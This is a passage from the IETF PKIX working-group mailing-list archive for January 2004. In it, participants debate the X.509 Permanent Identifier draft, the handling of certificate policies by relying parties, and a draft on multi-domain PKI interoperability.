> A few comments to PI in general and some draft-08 specific.
> 
> Draft-08: identifierType  
>   "The IdentifierType field, when present, is an OID which identifies 
>    both the Assigner Authority and the type of that field. It is an OID"
> 
> The words "type of that field" has never been explained.  But we all
> know exactly what the authors' mean don't we?  :-|
> 
> Draft-08: identifierType has, as you noted been reduced to only support
> OIDs, probably due to the authors' belief that OIDs are more permanent.

It was not exactly the author's belief, but the IESG belief.

> However, the rest of the computer industry have no problems using URIs
> making PI "incompatible" and "deviating".  A URI also have the
> big advantage that it may point to a document.

  ... that has then disappeared, or even worse, pointing to a document that 
is different from the original one.

> I find this "obsession" with permanence wrong, because if a CA disappears,
> its regitered DNS name is taken by somebody else, 

The URI was to designate an object defined by an Assigner Authority, not by 
a CA.

> the certificates are
> anaway no longer usable and names may indeed be reused. That is, OID or URI is a
> deployment issue.  At best you can RECOMMEND the "serious"
> implementer to use an OID.
> 
> PI-General: During the PI development serialNumber has become
> the de-facto standard for keeping a permanent (or static which is
> really more what we are talking about) identifier.

You have already made this comment in the past. serialNumber serves a 
different purpose. Please take a look at RFC 3039 :

    The serialNumber attribute type SHALL, when present, be used to
    differentiate between names where the subject field would otherwise
    be identical.  This attribute has no defined semantics beyond
    ensuring uniqueness of subject names.

> Anyway, PI-using relying party software have little reason to
> bother about PI as the existing systems I know of simply does
> not "decipher" certificates looking for the most "attractive"
> name form(?), they just _assume_ that things are as the CP says. 
> Most of these CAs also obey to Anders' nowadays (in)famous
>  "best practice CA formula":
> 
>                    CA <=> Policy
> 
> which makes identifierType redundant and also eliminating the
> need for additional Subject name forms like PI.

If you do not have a need for the PI, then that's fine; but other people may 
wish to use it, as soon/long as it is defined.

Denis



> Anders
> 
> ----- Original Message ----- 
> From: "Jim Schaad" <[e-mail]>
> To: "'Denis Pinkas'" <[e-mail]>; "'Tom Gindin'" <[e-mail]>
> Cc: <[e-mail]>
> Sent: Thursday, January 22, 2004 03:22
> Subject: RE: I-D ACTION:draft-ietf-pkix-pi-08.txt
> 
> 
> 
> Comments on draft -08.
> 
> 1.  Privacy concerns should be additionally outlined and covered in the
> security considerations section.
> 
> 2.  Section 1, para 9: Text here allows for an AA to have a unique URI
> name.  Has been removed from the syntax.
> 
> 3.  Section 1, para 14:  Suggested text "both the same permanent
> identifier value and the same Authority Identifer Value, then these".
> (I find the use of identityType to be confusing since I consider this to
> relate to type choice of IdentifierValue as well.)
> 
> 4.  Section 2:  What is the criteria for use of iA5String vs uTF8String?
> 
> 
> 5.  Section 2:  When doing comparisons do I need to cross compare these
> two different value items?
> 
> 6.  Section 2: The statement 'It is an OID.' is redundant and can be
> removed.
> 
> 7.  Section 3: Contains a paragraph dealing with matching rules.  Since
> this is no longer a field in the structure the paragraph should be
> re-written to state what the one and only matching rule is.
> 
> 8.  Appendix A.1:  New request, please put a reference to the document
> containing the pkix module into the pkix document (i.e. something like
> "-- found in [RFC 3280]".  This prevents documents from importing
> modules that are lower in the standards process without having any
> explicit reference to them.
> 
> jim
> 
> 
> 
>>-----Original Message-----
>>From: [e-mail] 
>>[mailto:[e-mail]] On Behalf Of 
>>[e-mail]
>>Sent: Wednesday, January 21, 2004 1:27 PM
>>To: IETF-Announce:
>>Cc: [e-mail]
>>Subject: I-D ACTION:draft-ietf-pkix-pi-08.txt
>>
>>
>>A New Internet-Draft is available from the on-line 
>>Internet-Drafts directories. This draft is a work item of the 
>>Public-Key Infrastructure (X.509) Working Group of the IETF.
>>
>>Title : Internet X.509 Public Key 
>>Infrastructure Permanent Identifier
>>Author(s) : D. Pinkas, T. Gindin
>>Filename : draft-ietf-pkix-pi-08.txt
>>Pages : 12
>>Date : 2004-1-21
>>
>>This document define a new form of name, called permanent 
>>identifier, that may be included in the subjectAltName extension 
>>of a public key certificate issued to an entity.
>>The permanent identifier is an optional feature that may be used 
>>by a CA to indicate that the certificate relates to the same 
>>entity even if the name or the affiliation of that entity stored 
>>in the subject or another name form in the subjectAltName extension 
>>has changed.
>>The subject name, carried in the subject field, is only unique 
>>for each subject entity certified by the one CA as defined by the 
>>issuer name field. Also, the new name form can carry a 
>>name that is unique for each subject entity certified by a CA.
>>
>>A URL for this Internet-Draft is: 
>>http://www.ietf.org/internet-drafts/draft-> ietf-pkix-pi-08.txt
>>
>>
>>To remove yourself from the IETF 
>>Announcement list, send a message to 
>>ietf-announce-request with the word unsubscribe in the body 
>>of the message.
>>
>>Internet-Drafts are also available by anonymous FTP. Login 
>>with the username "anonymous" and a password of your e-mail 
>>address. After logging in, type "cd internet-drafts" and then
>>"get draft-ietf-pkix-pi-08.txt".
>>
>>A list of Internet-Drafts directories can be found in 
> 
> http://www.ietf.org/shadow.html 
> or ftp://ftp.ietf.org/ietf/1shadow-sites.txt
> 
> 
> Internet-Drafts can also be obtained by e-mail.
> 
> Send a message to:
> [e-mail].
> In the body type:
> "FILE /internet-drafts/draft-ietf-pkix-pi-08.txt".
> 
> NOTE: The mail server at ietf.org can return the document in
> MIME-encoded form by using the "mpack" utility.  To use this
> feature, insert the command "ENCODING mime" before the "FILE"
> command.  To decode the response(s), you will need "munpack" or
> a MIME-compliant mail reader.  Different MIME-compliant mail
> readers
> exhibit different behavior, especially when dealing with
> "multipart" MIME messages (i.e. documents which have been split
> up into multiple messages), so check your local documentation on
> how to manipulate these messages.
> 
> 
> Below is the data which will enable a MIME compliant mail reader
> implementation to automatically retrieve the ASCII version of the
> Internet-Draft.
> 
> 




Received: from above.proper.com (localhost [127.0.0.1]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i0SEA0IQ031317; Wed, 28 Jan 2004 06:10:00 -0800 (PST) (envelope-from [e-mail])
Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i0SEA0FZ031316; Wed, 28 Jan 2004 06:10:00 -0800 (PST)
X-Authentication-Warning: above.proper.com: majordom set sender to [e-mail] using -f
Received: from odin2.bull.net (odin2.bull.net [192.90.70.84]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i0SE9wm2031298 for <[e-mail]>; Wed, 28 Jan 2004 06:09:59 -0800 (PST) (envelope-from [e-mail])
Received: from clbull.frcl.bull.fr (IDENT:[e-mail] [129.182.8.31]) by odin2.bull.net (8.9.3/8.9.3) with ESMTP id PAA50248; Wed, 28 Jan 2004 15:17:31 +0100
Received: from bull.net (frcls4013.frcl.bull.fr [129.182.108.120]) by clbull.frcl.bull.fr (8.9.3/8.9.3) with ESMTP id QAA11482; Wed, 28 Jan 2004 16:05:12 +0100
Message-ID: <[e-mail]>
Date: Wed, 28 Jan 2004 15:09:54 +0100
From: Denis Pinkas <[e-mail]>
Organization: Bull SA.
User-Agent: Mozilla/5.0 (Windows; U; Win98; en-US; rv:1.0.1) Gecko/20020823 Netscape/7.0
X-Accept-Language: en-us, en, fr
MIME-Version: 1.0
To: Peter Sylvester <[e-mail]>
CC: [e-mail]
Subject: Re: I-D ACTION:draft-ietf-pkix-pi-08.txt
References: <[e-mail]>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Sender: [e-mail]
Precedence: bulk
List-Archive: <http://www.imc.org/ietf-pkix/mail-archive/>
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: <mailto:[e-mail]?body=unsubscribe>

Peter,

>>Here is the new text for UTF8.
>>
>>    The IdentifierValue supports one syntax: UTF8String. UTF8String is
>>    variable length data of octets. The UTF8String syntax is used to
>>    express a string of characters from the Universal Character Set
>>    - UCS [ISO10646] (a superset of [Unicode]), encoded following the
>>    [UTF-8] algorithm. The UCS allows support of most of the world's
>>    writing systems using a single character set.
>>
>>    Note that Unicode characters U+0000 through U+007F are the same as
>>    ASCII 0 through 127, respectively, and have the same single octet
>>    UTF-8 encoding.  Other Unicode characters have a multiple octet
>>    UTF-8 encoding.
>>
> 
> 
> I think you can simply remove all this.   

Mentionning the backward compatibility with ASCII is not necessarilly 
straightforward for everybody and giving the references of UTF-8 allows 
people to identify the relevant documents.

Unless there is something wrong in it, I would think it is better to keep it.

Denis










Received: from above.proper.com (localhost [127.0.0.1]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i0SE9Tmr031277; Wed, 28 Jan 2004 06:09:29 -0800 (PST) (envelope-from [e-mail])
Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i0SE9TPl031276; Wed, 28 Jan 2004 06:09:29 -0800 (PST)
X-Authentication-Warning: above.proper.com: majordom set sender to [e-mail] using -f
Received: from odin2.bull.net (odin2.bull.net [192.90.70.84]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i0SE9QtD031268 for <[e-mail]>; Wed, 28 Jan 2004 06:09:27 -0800 (PST) (envelope-from [e-mail])
Received: from clbull.frcl.bull.fr (IDENT:[e-mail] [129.182.8.31]) by odin2.bull.net (8.9.3/8.9.3) with ESMTP id PAA49994; Wed, 28 Jan 2004 15:16:59 +0100
Received: from bull.net (frcls4013.frcl.bull.fr [129.182.108.120]) by clbull.frcl.bull.fr (8.9.3/8.9.3) with ESMTP id QAA11472; Wed, 28 Jan 2004 16:04:37 +0100
Message-ID: <[e-mail]>
Date: Wed, 28 Jan 2004 15:09:18 +0100
From: Denis Pinkas <[e-mail]>
Organization: Bull SA.
User-Agent: Mozilla/5.0 (Windows; U; Win98; en-US; rv:1.0.1) Gecko/20020823 Netscape/7.0
X-Accept-Language: en-us, en, fr
MIME-Version: 1.0
To: "BARARI, TIRTHANKAR" <[e-mail]>
CC: [e-mail]
Subject: Re: I-D ACTION:draft-ietf-pkix-pi-08.txt
References: <[e-mail]>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Sender: [e-mail]
Precedence: bulk
List-Archive: <http://www.imc.org/ietf-pkix/mail-archive/>
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: <mailto:[e-mail]?body=unsubscribe>

> Hi Denis and Thomas,
> 
> My comments on the draft - 
> 
> In real world, PI implementation will be in phases. So, entities would
> migrate from existing certificates (without PI) to new ones with PI included
> in the subjectAltName extension. It would be good to include a way to tie in
> the prior identity into the new implementation with PI (possibly by adding
> the old public key as a field inside PI). This would help link both pre and
> post implementation audit records to the same entity.
> 
> This may not be within the scope or address of this version, but may be
> worth a consideration for a future richer proposal.

Such a link would only allow to make a link with one single certificate and 
would loose its value with time.

Let us keep this document simple.

Denis

> Tirthankar Barari 
> 
> -----Original Message-----
> From: [e-mail] [mailto:[e-mail]]
> Sent: Wednesday, January 21, 2004 4:27 PM
> Cc: [e-mail]
> Subject: I-D ACTION:draft-ietf-pkix-pi-08.txt
> 
> 
> A New Internet-Draft is available from the on-line Internet-Drafts
> directories.
> This draft is a work item of the Public-Key Infrastructure (X.509) Working
> Group of the IETF.
> 
> 	Title		: Internet X.509 Public Key Infrastructure Permanent
> Identifier
> 	Author(s)	: D. Pinkas, T. Gindin
> 	Filename	: draft-ietf-pkix-pi-08.txt
> 	Pages		: 12
> 	Date		: 2004-1-21
> 	
> This document define a new form of name, called permanent 
> identifier, that may be included in the subjectAltName extension 
> of a public key certificate issued to an entity.
> The permanent identifier is an optional feature that may be used 
> by a CA to indicate that the certificate relates to the same 
> entity even if the name or the affiliation of that entity stored 
> in the subject or another name form in the subjectAltName extension 
> has changed.
> The subject name, carried in the subject field, is only unique 
> for each subject entity certified by the one CA as defined by the 
> issuer name field. Also, the new name form can carry a 
> name that is unique for each subject entity certified by a CA.
> 
> A URL for this Internet-Draft is:
> http://www.ietf.org/internet-drafts/draft-ietf-pkix-pi-08.txt
> 
> To remove yourself from the IETF Announcement list, send a message to 
> ietf-announce-request with the word unsubscribe in the body of the message.
> 
> Internet-Drafts are also available by anonymous FTP. Login with the username
> "anonymous" and a password of your e-mail address. After logging in,
> type "cd internet-drafts" and then
> 	"get draft-ietf-pkix-pi-08.txt".
> 
> A list of Internet-Drafts directories can be found in
> http://www.ietf.org/shadow.html 
> or ftp://ftp.ietf.org/ietf/1shadow-sites.txt
> 
> 
> Internet-Drafts can also be obtained by e-mail.
> 
> Send a message to:
> 	[e-mail].
> In the body type:
> 	"FILE /internet-drafts/draft-ietf-pkix-pi-08.txt".
> 	
> NOTE:	The mail server at ietf.org can return the document in
> 	MIME-encoded form by using the "mpack" utility.  To use this
> 	feature, insert the command "ENCODING mime" before the "FILE"
> 	command.  To decode the response(s), you will need "munpack" or
> 	a MIME-compliant mail reader.  Different MIME-compliant mail readers
> 	exhibit different behavior, especially when dealing with
> 	"multipart" MIME messages (i.e. documents which have been split
> 	up into multiple messages), so check your local documentation on
> 	how to manipulate these messages.
> 		
> 		
> Below is the data which will enable a MIME compliant mail reader
> implementation to automatically retrieve the ASCII version of the
> Internet-Draft.
> 
> 




Received: from above.proper.com (localhost [127.0.0.1]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i0SDpPZO030328; Wed, 28 Jan 2004 05:51:25 -0800 (PST) (envelope-from [e-mail])
Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i0SDpPmG030327; Wed, 28 Jan 2004 05:51:25 -0800 (PST)
X-Authentication-Warning: above.proper.com: majordom set sender to [e-mail] using -f
Received: from host13.websitesource.com (host13.websitesource.com [209.239.35.152]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i0SDpOni030321 for <[e-mail]>; Wed, 28 Jan 2004 05:51:24 -0800 (PST) (envelope-from [e-mail])
Received: from wchokhani (dpvc-138-88-161-20.res.east.verizon.net [138.88.161.20]) by host13.websitesource.com (8.12.10/8.12.10) with ESMTP id i0SDpOh2017707 for <[e-mail]>; Wed, 28 Jan 2004 08:51:24 -0500
From: "Santosh Chokhani" <[e-mail]>
To: <[e-mail]>
Subject: RE: Setting X.509 Policy Data in IE, IIS, Outlook
Date: Wed, 28 Jan 2004 08:51:14 -0500
Message-ID: <01c601c3e5a5$ce8e6970$[e-mail]>
MIME-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook, Build 10.0.4510
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1165
In-Reply-To: <[e-mail]>
Importance: Normal
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by above.proper.com id i0SDpOni030322
Sender: [e-mail]
Precedence: bulk
List-Archive: <http://www.imc.org/ietf-pkix/mail-archive/>
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: <mailto:[e-mail]?body=unsubscribe>

I have sent the Annex J to Peter.  I am not sure it is appropriate to post
it to the mail list.

-----Original Message-----
From: Peter Gutmann [mailto:[e-mail]] 
Sent: Wednesday, January 28, 2004 8:32 AM
To: [e-mail]; [e-mail]
Subject: RE: Setting X.509 Policy Data in IE, IIS, Outlook


"Santosh Chokhani" <[e-mail]> writes:

>I do not if your reward is punishment or reward,

Well it'll certainly be pretty rewarding for anyone watching.

>I also encourage you to read Annex J of X.509 draft.

Hmm, it's not in any draft I have, is that the eternal-draft fourth edition,
or has X.509 skipped the middleman and jumped straight from 4th edition
drafts into 5th edition drafts?

Peter.




Received: from above.proper.com (localhost [127.0.0.1]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i0SDVnOY028573; Wed, 28 Jan 2004 05:31:49 -0800 (PST) (envelope-from [e-mail])
Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i0SDVnDT028572; Wed, 28 Jan 2004 05:31:49 -0800 (PST)
X-Authentication-Warning: above.proper.com: majordom set sender to [e-mail] using -f
Received: from smtp.cs.auckland.ac.nz (smtp.cs.auckland.ac.nz [130.216.33.151]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i0SDVl7W028561 for <[e-mail]>; Wed, 28 Jan 2004 05:31:47 -0800 (PST) (envelope-from [e-mail])
Received: from cs.auckland.ac.nz (medusa01.cs.auckland.ac.nz [130.216.34.33]) by smtp.cs.auckland.ac.nz (Postfix) with ESMTP id 656F034007; Thu, 29 Jan 2004 02:30:57 +1300 (NZDT)
Received: (from pgut001@localhost) by cs.auckland.ac.nz (8.11.6/8.11.6) id i0SDVh325275; Thu, 29 Jan 2004 02:31:43 +1300
Date: Thu, 29 Jan 2004 02:31:43 +1300
Message-Id: <[e-mail]>
From: [e-mail] (Peter Gutmann)
To: [e-mail], [e-mail]
Subject: RE: Setting X.509 Policy Data in IE, IIS, Outlook
Sender: [e-mail]
Precedence: bulk
List-Archive: <http://www.imc.org/ietf-pkix/mail-archive/>
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: <mailto:[e-mail]?body=unsubscribe>

"Santosh Chokhani" <[e-mail]> writes:

>I do not if your reward is punishment or reward, 

Well it'll certainly be pretty rewarding for anyone watching.

>I also encourage you to read Annex J of X.509 draft.

Hmm, it's not in any draft I have, is that the eternal-draft fourth edition,
or has X.509 skipped the middleman and jumped straight from 4th edition drafts
into 5th edition drafts?

Peter.



Received: from above.proper.com (localhost [127.0.0.1]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i0SCuYuI026086; Wed, 28 Jan 2004 04:56:35 -0800 (PST) (envelope-from [e-mail])
Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i0SCuYoq026085; Wed, 28 Jan 2004 04:56:34 -0800 (PST)
X-Authentication-Warning: above.proper.com: majordom set sender to [e-mail] using -f
Received: from smtp.cs.auckland.ac.nz (smtp.cs.auckland.ac.nz [130.216.33.151]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i0SCuXUW026076 for <[e-mail]>; Wed, 28 Jan 2004 04:56:33 -0800 (PST) (envelope-from [e-mail])
Received: from cs.auckland.ac.nz (medusa01.cs.auckland.ac.nz [130.216.34.33]) by smtp.cs.auckland.ac.nz (Postfix) with ESMTP id 29E9D340DE; Thu, 29 Jan 2004 01:55:43 +1300 (NZDT)
Received: (from pgut001@localhost) by cs.auckland.ac.nz (8.11.6/8.11.6) id i0SCuSn25167; Thu, 29 Jan 2004 01:56:28 +1300
Date: Thu, 29 Jan 2004 01:56:28 +1300
Message-Id: <[e-mail]>
From: [e-mail] (Peter Gutmann)
To: [e-mail], [e-mail], [e-mail]
Subject: Re: Setting X.509 Policy Data in IE, IIS, Outlook
Cc: [e-mail]
Sender: [e-mail]
Precedence: bulk
List-Archive: <http://www.imc.org/ietf-pkix/mail-archive/>
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: <mailto:[e-mail]?body=unsubscribe>

"Anders Rundgren" <[e-mail]> writes:

>In case nobody, in spite of Peter Gutmann's generous reward, 

The reward has increased since then, I've had a few contributors in private
mail offer to chip in with other bonuses just to see if Steve can come up with
a useful explanation of a practical management interface for cert policies.

As for the person who inquired about the resale value of a bilabial fricative,
I'm not exactly sure what the going rate is, you might be able to extrapolate
a cost from the amount Mike Batt paid to John Cage for "One Minute's Silence",
taking into account the fact that a fricative is a considerably more
substantive work and therefore has a somewhat higher book value.

>takes on the challenge describing how X.509 policies should be handled by
>relying parties [1] based on RFC3280 "as is", 
>
>1] Comprising of software, administrators, end-users, and lawyers.

Well, the analysis I posted the last time this came up was that from a
business/legal perspective the best way to use cert policies was to do more or
less the exact opposite of what the standard said.  That is, if the CA is
being run as a charity for the benefit of its users then you do what the
standard says; if it's being run as a business that needs to manage liability
issues, you follow the legal analysis I posted (or at least get your own
lawyers to examine how best to use the cert policy mechanism to protect the
CA's interests, although I assume you'll get more or less the same answer that
the people I talked to gave me).

Peter.



Received: from above.proper.com (localhost [127.0.0.1]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i0SBx6Pu021834; Wed, 28 Jan 2004 03:59:06 -0800 (PST) (envelope-from [e-mail])
Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i0SBx6k7021833; Wed, 28 Jan 2004 03:59:06 -0800 (PST)
X-Authentication-Warning: above.proper.com: majordom set sender to [e-mail] using -f
Received: from mtiwmhc11.worldnet.att.net (mtiwmhc11.worldnet.att.net [204.127.131.115]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i0SBx31E021821 for <[e-mail]>; Wed, 28 Jan 2004 03:59:05 -0800 (PST) (envelope-from [e-mail])
Received: from wchokhani (114.washington-41rh15-16rt.dc.dial-access.att.net[12.77.62.114]) by worldnet.att.net (mtiwmhc11) with SMTP id <20040128115857111002idqre>; Wed, 28 Jan 2004 11:58:58 +0000
From: "Santosh Chokhani" <[e-mail]>
To: <[e-mail]>
Subject: RE: Setting X.509 Policy Data in IE, IIS, Outlook
Date: Wed, 28 Jan 2004 06:58:45 -0500
Message-ID: <01af01c3e596$15c34640$[e-mail]>
MIME-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook, Build 10.0.4510
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1165
In-Reply-To: <[e-mail]>
Importance: Normal
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by above.proper.com id i0SBx61E021828
Sender: [e-mail]
Precedence: bulk
List-Archive: <http://www.imc.org/ietf-pkix/mail-archive/>
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: <mailto:[e-mail]?body=unsubscribe>

Peter:

I do not if your reward is punishment or reward, if you speak in plain
American English (pardon the parochialism) or Hindi will be glad to tell you
how the application can be configured for policy processing or the
application can provide the user interface.  I also encourage you to read
Annex J of X.509 draft.

-----Original Message-----
From: [e-mail] [mailto:[e-mail]] On
Behalf Of Peter Gutmann
Sent: Tuesday, January 27, 2004 7:29 PM
To: [e-mail]; [e-mail]
Cc: [e-mail]
Subject: Re: Setting X.509 Policy Data in IE, IIS, Outlook



Stephen Kent <[e-mail]> writes:

>>Borrowing from your IPsec complaints:
>>A "compliant management interface for the security policy database" 
>>for X.509 would be fun to review.  As far as I can see, the X.509 
>>policy mechanisms are flawed to the point where it becomes technically 
>>infeasible to specify such an interface.  But I stay interested if 
>>anybody dares to challenge that statement with something tangible 
>>instead of the usual PKI mumbo-jumbo, like "there are many ways to do 
>>this".
>
>A challenge with no apparent reward to motivate a response, as usual 
>...

I hereby offer a reward of one (1) bilabial fricative to anyone who can
provide a clear technical explanation/description of a policy management
interface for X.509, to be paid in full upon delivery of said
explanation/description.

Peter.




Received: from above.proper.com (localhost [127.0.0.1]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i0SAunEk017505; Wed, 28 Jan 2004 02:56:49 -0800 (PST) (envelope-from [e-mail])
Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i0SAumWW017504; Wed, 28 Jan 2004 02:56:48 -0800 (PST)
X-Authentication-Warning: above.proper.com: majordom set sender to [e-mail] using -f
Received: from iscan02.secomtrust.net (iscan01.secomtrust.net [61.114.177.102]) by above.proper.com (8.12.11/8.12.8) with SMTP id i0SAukrS017494 for <[e-mail]>; Wed, 28 Jan 2004 02:56:46 -0800 (PST) (envelope-from [e-mail])
Received: (qmail 5888 invoked by alias); 28 Jan 2004 10:56:44 -0000
Delivered-To: [e-mail]@MAP
Received: (qmail 5859 invoked by alias); 28 Jan 2004 10:56:42 -0000
Received: from localhost (HELO mail.secomtrust.net) (127.0.0.1) by localhost with SMTP; 28 Jan 2004 10:56:42 -0000
Received: (qmail 28495 invoked from network); 28 Jan 2004 10:56:41 -0000
Received: from unknown (HELO ?172.30.5.54?) (172.30.5.54) by mail with SMTP; 28 Jan 2004 10:56:41 -0000
Date: Wed, 28 Jan 2004 19:57:02 +0900
From: Masaki SHIMAOKA <[e-mail]>
To: [e-mail], Denis Pinkas <[e-mail]>
Subject: Re[2]: Revised I-D: Memorandum for multi-domain PKI Interoperability
Cc: Peter Hesse <[e-mail]>, Matt Cooper <[e-mail]>, IETF-PKIX <[e-mail]>
In-Reply-To: <[e-mail]>
References: <[e-mail]> <[e-mail]>
Message-Id: <[e-mail]>
MIME-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
X-Mailer: Becky! ver. 2.06.02
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by above.proper.com id i0SAulrS017495
Sender: [e-mail]
Precedence: bulk
List-Archive: <http://www.imc.org/ietf-pkix/mail-archive/>
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: <mailto:[e-mail]?body=unsubscribe>

Denis,

I appreciate much your review.

> The topic of the document is rather close to the following draft:  Internet 
> X.509 Public Key Infrastructure: Certification Path Building available at:
> http://www.ietf.org/internet-drafts/draft-ietf-pkix-certpathbuild-03.txt

Exactly, my I-D is similar to some part of certpathbuild.
The two I-D certpathbuild and my mPKI was almost published simultaneously,
and it was very accidental.

In the past, some of PKI engineers were also considering the path
building and validation. But since I felt that some consensus or
definition of PKI topology is required for such discussion, I tried to
write this draft. I believe that the authors of certpathbuild felt the
same, too. Therefore, they also had the similar part, I think.
Hesse and Matt, is it right?

Anyway, my wish is to establish consensus of PKI structure models and
avoid unnecessary confusion by complex PKI structures.
How do you think such necessity?

> It seems rather difficult to have two documents on nearly the same topic.
> It also seems difficult to issue this document as an Informational RFC.

I agree to be difficult having two docs.
I guess that integrating my I-D and some part of certpathbuild is nice.
But certpathbuild is already huge document...
Hesse and Matt, what do you think?

The description of path building algorithm is a guidance for application
developers. 
On the other hand, the definition of PKI structure models is a guidance
for designers of PKI topology. It is useful when the two PKIs consider
how to interconnect each other, such as Bridge CA model or mesh model.
So I propose separating to such two documents.

> The document contains vocabulary which is not currently used with the PKIX 
> WG and which could create confusion if adopted.

I accept right vocabulary for PKIX WG.

> The notion of “PKI domain
is misleading. The PKIX WG has been using the 
> concept of “validation policy
to describe the rules applicable to trust a 
> given certificate. However, this terminology is not used in this document.

My understanding about "validation Policy" is same as what you mentioned.
But "PKI domain" is not same as "validation policy". "PKI domain" is a grouping
 for identifying a PKI operated on same certificate policy.
For example, a set of CAs certified by one CA unilaterally with the same
certificate policy is grouped as one PKI domain.  And such two PKI
domains may interconnect via bridge CA.


> The definition of “subscriber
is misleading and should not be confused with 
> “subject

I remove "subscriber" from terminology.

> It is also misleading to say “In a single-domain PKI (whatever this notion 
> may mean), these [i.e. trust anchors] may be omitted tacitly There always 
> exists at least one trust anchor, otherwise it is impossible to verify a 
> certificate.

Certainly I was confusing... I remove this sentence.

> The wordings “unified domain model
and “unificate CA
are introduced but 
> are not explained.

OOPS;(
Sorry, I add the explanation for unified domain model and unificate CA
to next revision.

> The definition of PKI domain which seems to map to the concept of validation 
> policy is wrong: the MUST and SHOULD included in the definition are wrong. 
> The notion of domain policy is inadequate as well.

Could you tell me the reason why you map "PKI domain" to "validation policy"?
I feel necessity of removing your misunderstanding.

> The notion of Mesh PKI is introduced in the definition section, but is not 
> explained.

In fact, I was suffering from how to treat of Mesh PKI. I guessed that
Mesh PKI was not designed intentionally, but formed passively by various
reason.
But some people gave an advice to me. When a PKI trusts other PKI
directly, such some PKIs may form the Mesh PKI, and it gives a shorter
certification path as merit.
I am going to consider Mesh PKI more again.

> The notion of “principal CA
is not needed.

Why would you feel so?

> The notion of “PKI domain
of the subscriber is unclear. Does it means that 
> the CA that has issued the end-entity certificate musty issue a self-signed 
> certificate ?

No. In this draft, subscriber means a subject of target certificate. 
For example at Fig.9, when EE in PKI 3 is target certificate, "PKI
domain of subscriber" is PKI 3.
CA that requires self-signed certificate in PKI 3 is only PCA.

> What is the difference between a trust anchor and a trust point ?

Trust anchor is using in only single-trust point model, because "anchor"
means unique point.
I feel that the concepts of "trust anchor" and "trust point" are the
same as RFC3125 you described. Is it different?

Anyway, if this causes some confusion, the two should be integrated. 

> The notions of “Public PKI
and “Private PKI
are not appropriate. What can 
> be a trust point registered without clear agreement ???

Do you mention that considering these two at PKIX  is not appropriate?
or just description of public PKI and private PKI?

Essentially, I am concerned about some users specifying only a trust
anchor as validation policy. The Wording of "Public PKI and Private PKI"
might be not appropriate exactly. 
But in actual world, most root certificates in MS cert store are used so.
I called therefore such usage is public PKI. It is rare that the root
certificate stored  in MS certificate store is used with explicit policy.
Most of the trust anchors used with explicit policy is the root
certificate which a relying party added later intentionally. I called
such is a private PKI.
If you find better wordings, tell me please.

> Trust relationship can’t be restricted to Trust relationships between CAs. 
> There are first between CAs and relying parties.

Sure. But, it is an extreme argument.
I mentioned about  xxx-constraints in cross-certificate.


> There is no reason why CAs in a trust list SHOULD NOT cross-certify each other.

Though each CAs cross-certify each other, I could not find the reason
why a relying-party trusts each CAs. I think such complex trust
relationship makes a confusion and prevent the multi-domain PKI
interoperability.


> The most important case for trust list has been omitted: it is when the 
> trust list is establish by an authority which trusts some CAs. Then relying 
> parties trusting that authority can use the trust lists established by that 
> authority for some specific purpose.

It sounds good:-)
Thanks.


> In section 3.2 about Cross-Certification there should not be the following 
> requirements :
> 
> " CA that issues a cross-certificate MUST have a self-signed certificate".
> " CA issued the cross-certificate also MUST have a self-signed certificate"

Oops, first one is not reuired. it is mistake.
But second one MUST be required. I worry that a subordinate CA is
cross-certified from some CA other than the superior CA. In that case,
issuer CA MUST require an ARL issued by the superior CA, and MUST
validate the certification path to the superior CA. Why does not issuer
CA cross-certify the superior CA directly?


Thanks for your patience.

-----
Masaki SHIMAOKA

SECOM Trust.net
System Engineering Dpt.
Tel: [phone] (ext.3605)
Fax: [phone]
e-mail: [e-mail]




Received: from above.proper.com (localhost [127.0.0.1]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i0S7WKqb000714; Tue, 27 Jan 2004 23:32:20 -0800 (PST) (envelope-from [e-mail])
Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i0S7WKq4000713; Tue, 27 Jan 2004 23:32:20 -0800 (PST)
X-Authentication-Warning: above.proper.com: majordom set sender to [e-mail] using -f
